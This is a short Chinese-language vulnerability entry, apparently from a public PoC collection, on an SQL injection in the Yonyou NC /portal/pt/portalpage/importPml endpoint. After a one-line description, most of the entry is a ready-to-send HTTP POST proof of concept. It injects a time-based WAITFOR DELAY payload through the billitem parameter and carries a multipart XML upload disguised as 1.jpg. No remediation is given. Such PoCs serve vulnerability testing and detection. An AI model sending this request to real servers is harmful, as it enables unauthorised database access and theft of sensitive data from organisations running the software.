用友NC importPml SQL注入漏洞

2024-04-28 用友NC PoC Public

Description

用友NC系统importPml存在SQL注入漏洞,/portal/pt/portalpage/importPml接口中的billitem参数实现sql注入,从而窃取服务器的敏感信息。

PoC

POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:8'-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Length: 410
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
Accept-Encoding: gzip

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg

<?xml version="1.0" encoding="UTF-8"?>
<page template="adminonerow" version="101"  i18nname="admin-00001"  visibility="0"  isdefault="true" skin="webclassic" level="0"  linkgroup="0000z010000000000002"  ordernum="15">
</page>
------WebKitFormBoundaryH970hbttBhoCyj9V--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities